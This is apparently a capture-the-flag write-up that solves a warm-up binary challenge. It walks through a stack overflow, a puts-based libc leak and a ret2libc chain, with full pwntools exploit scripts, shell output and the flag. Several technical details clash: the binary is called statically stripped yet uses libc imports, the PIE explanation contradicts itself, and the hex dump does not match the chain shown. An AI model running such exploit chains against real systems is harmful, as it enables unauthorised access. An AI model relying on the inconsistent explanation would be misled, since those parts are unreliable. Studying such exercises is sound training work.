ret2libc on a warm-up: stack smash to shell

nc warmup.chal.example 1337 — "I heard ASLR makes overflows impossible. Prove me wrong." One statically-stripped binary, no source.

Every pwn starts with the same question, so I answer it first: what's turned on?

checksec sets the route before I touch a disassembler. NX kills stack shellcode, so the answer is ROP or ret2libc. Canary off means a straight overflow reaches the return address — no leak needed there. But PIE + ASLR mean I don't know where anything is, so stage one is a leak and stage two is the shell.

the bug#

One function, and it's exactly as advertised:

1
2
3
4
5

void vuln(void) {
    char buf[64];
    puts("name?");
    read(0, buf, 0x200);   // 512 bytes into a 64-byte buffer
}

read takes 0x200 bytes into a 64-byte buffer. The frame underneath it is the whole challenge:

buf starts at rbp-0x40, so it's 64 bytes to the saved rbp, plus 8 for the register itself — the saved return address sits at offset $0x40+8=72$. Past that, I'm writing the control flow.

offset

the distance from the start of a controllable buffer to the saved return address. Get it wrong by 8 and you land in the saved rbp, not rip.

stage one — leak libc#

NX and PIE are on, but the binary still imports puts, and puts prints a string at a pointer I choose. So I call puts(puts@got) to print libc's runtime address of puts, then return into vuln for a second go with known addresses.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

from pwn import *

elf  = context.binary = ELF("./warmup", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io   = remote("warmup.chal.example", 1337)

pop_rdi = elf.search(asm("pop rdi; ret"), executable=True).__next__()

payload  = b"A" * 72                 # fill buffer + saved rbp
payload += p64(pop_rdi) + p64(elf.got["puts"])
payload += p64(elf.plt["puts"])      # puts(puts@got) -> leak
payload += p64(elf.sym["vuln"])      # ...then come back for round two

io.sendafter(b"name?", payload)
leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym["puts"]
log.success(f"libc base: {libc.address:#x}")

The leak is the runtime puts; libc's base is that minus the symbol's file offset:

PIE on the main binary would block the first ROP chain too — but this binary leaks an elf.plt/elf.got pair that's only correct because the loader didn't relocate a no-PIE .plt. Read the checksec line again: PIE: on is the binary, but the gadgets here come from libc once it's based. Mind which object each address belongs to.¹

stage two — ret2libc#

Same overflow, now with a libc base. system("/bin/sh"), with the one alignment footgun that eats more first-bloods than any mitigation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

binsh   = next(libc.search(b"/bin/sh\x00"))
ret     = elf.search(asm("ret"), executable=True).__next__()

chain  = b"A" * 72
chain += p64(ret)                    # re-align rsp to 16 bytes
chain += p64(pop_rdi) + p64(binsh)
chain += p64(libc.sym["system"])

io.sendafter(b"name?", chain)
io.interactive()

On the wire the second payload is just the chain past the padding — the return slot is the only part that matters, so it's the one I highlight when I dump it:

00000000  b0 13 40 00 00 00 00 00  37 12 41 00 00 00 00 00  |..@.....7.A.....|
00000010  2f 62 69 6e 2f 73 68 00  c0 45 a1 f7 7f 00 00 00  |/bin/sh..E......|

1
2
3
4

$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
segfault{4slr_just_means_you_leak_first}